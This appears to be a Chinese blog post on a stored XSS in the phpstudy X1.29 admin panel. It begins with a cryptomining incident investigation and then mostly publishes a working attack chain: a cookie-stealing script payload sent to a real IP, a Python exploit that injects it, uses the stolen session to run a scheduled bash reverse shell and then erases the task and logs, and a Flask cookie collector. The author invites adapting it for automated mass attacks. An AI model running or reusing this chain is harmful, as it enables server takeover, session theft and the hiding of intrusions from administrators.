phpstudy X1.29 后台存储型xss

今天登录同学的小皮运维后台的时候发现CPU占有率达到100%

排查

登录服务器通过top看了下CPU占用情况,发现存在xmrig挖矿进程(当时直接kill -9结束了进程没有截到图)

看了下这些文件的时间信息,发现miner.sh的Modify为2023-02-10 17:32:48.000000000 +0800

秒之后的时间为整数,猜测文件时间信息被修改

查看config.json其中写有矿池地址

在微步在线上查一下,确定为矿池

当时查看网络连接没发现问题,接下来看一下crontab计划任务,使用crontab -e查看防止计划任务被隐藏

每天23:30执行,查看/var/log/syslog日志看一下创建时间

然后看一下xmr.sh这个脚本内容

脚本内容就是一些下载挖矿软件以及日志清除

但是这个机器没有装curl,所以没有执行这个脚本,挖矿程序执行操作应该是攻击者通过shell进行执行的

攻击时间在2023-02-20 13:35之后,就是登录小皮后台之后,服务器也没有装什么其他服务,应该就是该X1.29该版本存在漏洞,应该就是这个存储型XSS导致登录后获取cookie然后执行计划任务

漏洞复现

https://www.freebuf.com/vuls/356878.html

攻击测试弹框<script>alert(1)</script>

成功弹框

通过下边payload可以获得cookie

<script>document.location='http://120.48.43.5:9999/cookie.php?cookie='+document.cookie</script>

当时没有截图,后来更新了下小皮,版本还是X1.29但是漏洞已经不存在了(记于2023-02-20)

获取到Cookie是一个PHPSESSID

PHPSESSID=ed489986cbfcd84118acf11b

本来以为通过该cookie可以直接进到后台,结果没进去,应该是后续请求还存在身份验证,这里我们直接对计划任务接口进行调用(后续写脚本完成这一系列操作)

抓取到计划任务页面,然后可以在浏览器中直接进入

这里本以为可以创建、执行、修改计划任务,结果发现按钮是通过js触发的,这里并没有引入js

然后抓取创建脚本的接口,如下:

成功创建

下边接口用来执行计划任务:

成功获取shell

之后进行痕迹清理,删除计划任务

EXP

通过存储型XSS也无需获取授权码,通过登录接口即可将payload注入进去

在这之前还需要到获取验证码verifycode,接口位置是/service/app/account.php?type=vercode,写一下最终的攻击脚本

import requests
from urllib.parse import urljoin
import re
import ddddocr
from time import sleep

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36",
    "X-Requested-With": "XMLHttpRequest"
}

cookies = {
    "PHPSESSID": "ed489986cbfcd84118acf11b"
}

s = requests.session()

s.headers.update(headers)
s.cookies.update(cookies)

def inject_xss(url, xss_payload):
    # 获取验证码
    vercode_url = urljoin(url, "/service/app/account.php?type=vercode")
    r = s.get(vercode_url)
    with open("./vercode.png", "wb") as f:
        f.write(r.content)

    vercode = input("查看vercode.png文件(否则进行OCR识别)\n输入验证码:")

    if not vercode:
        # OCR识别验证码
        ocr = ddddocr.DdddOcr()
        vercode = ocr.classification(r.content)

    xss_url = urljoin(url, "/service/app/account.php")

    data = {
        "type": "login",
        "username": xss_payload,
        "password": "hack",
        "verifycode": vercode
    }
    r = s.post(xss_url, data=data)
    if "\\u7528\\u6237\\u540d\\u6216\\u8005\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
        print("xss payload注入成功")


def exp(url, cookie, shell):
    s.cookies.update({"PHPSESSID": cookie})

    task_url = urljoin(url, "/service/app/tasks.php")
    
    # 创建计划任务
    sava_params = {"type": "save_shell"}
    sava_data = {
        "task_id": "",
        "title": "hack",
        "exec_cycle": 1,
        "week": 1,
        "day": 3,
        "hour": 1,
        "minute": 30,
        "shell": shell
    }
    r = s.post(task_url, params=sava_params, data=sava_data)
    
    if "\\u4fdd\\u5b58\\u6210\\u529f" in r.text:
        print("创建成功")
    
    sleep(3)
    # 获取计划任务tid
    sava_params = {"type": "task_list"}
    r = s.get(task_url, params=sava_params)
    tid = int(re.search(r'"ID":([0-9]+),"NAME":"hack"', r.text).group(1))

    # 执行计划任务
    exec_params = {"type": "exec_task"}
    exec_data = {
        "tid": tid
    }
    r = s.post(task_url, params=exec_params, data=exec_data)
    if "\\u6267\\u884c\\u6210\\u529f" in r.text:
        print("执行成功")
    
    # 删除计划任务
    del_params = {"type": "del_task"}
    del_data = {
        "tid": tid
    }
    r = s.post(task_url, params=del_params, data=del_data)
    if "\\u5220\\u9664\\u6210\\u529f" in r.text:
        print("删除成功")

    # 清空日志
    log_url = urljoin(url, "/service/app/log.php")
    cllog_params = {"type": "clearlog"}
    r = s.post(log_url, params=cllog_params)
    if "\\u6e05\\u7a7a\\u65e5\\u5fd7\\u6210\\u529f" in r.text:
        print("日志清空成功")


if __name__ == "__main__":
    # <script>document.location="http://120.48.43.5:9999/cookie?cookie="+document.cookie</script>
    url = "http://120.48.43.5:11111/"
    xss_payload = '<script>document.location="http://120.48.43.5:9999/cookie?cookie="+document.cookie</script>'
    inject_xss(url, xss_payload)
    cookie = input("请输入通过xss payload获取到的Cookie: ")
    shell = "bash -c 'bash -i >& /dev/tcp/120.48.43.5/9999 0>&1'"
    exp(url, cookie, shell)

之后服务器端可以开启服务,在收到请求时保存cookie信息,这里通过flask写一个

from flask import Flask, request

app = Flask(__name__)

@app.route('/cookie')
def Cookie_handler():
    ip = request.remote_addr
    cookie = request.args.get("cookie")
    with open("./targets_cookie", 'a') as f:
        f.write(ip + '\t' + requcookie + '\n')
    return

if __name__ == '__main__':
    app.run('0.0.0.0', port=9999)

通过以上两个脚本加以修改可以进行自动化批量攻击!

总结

该漏洞存在于phpstudy for linux版本 ≤ X1.29中,但目前官方发布的X1.29中已修复该问题,复现漏洞可以使用如下的docker镜像:

docker pull se1zer/phpstudy:1.29
docker run -d -P se1zer/phpstudy:1.29
posted @ 2023-02-20 16:15  seizer-zyx  阅读(344)  评论(0编辑  收藏  举报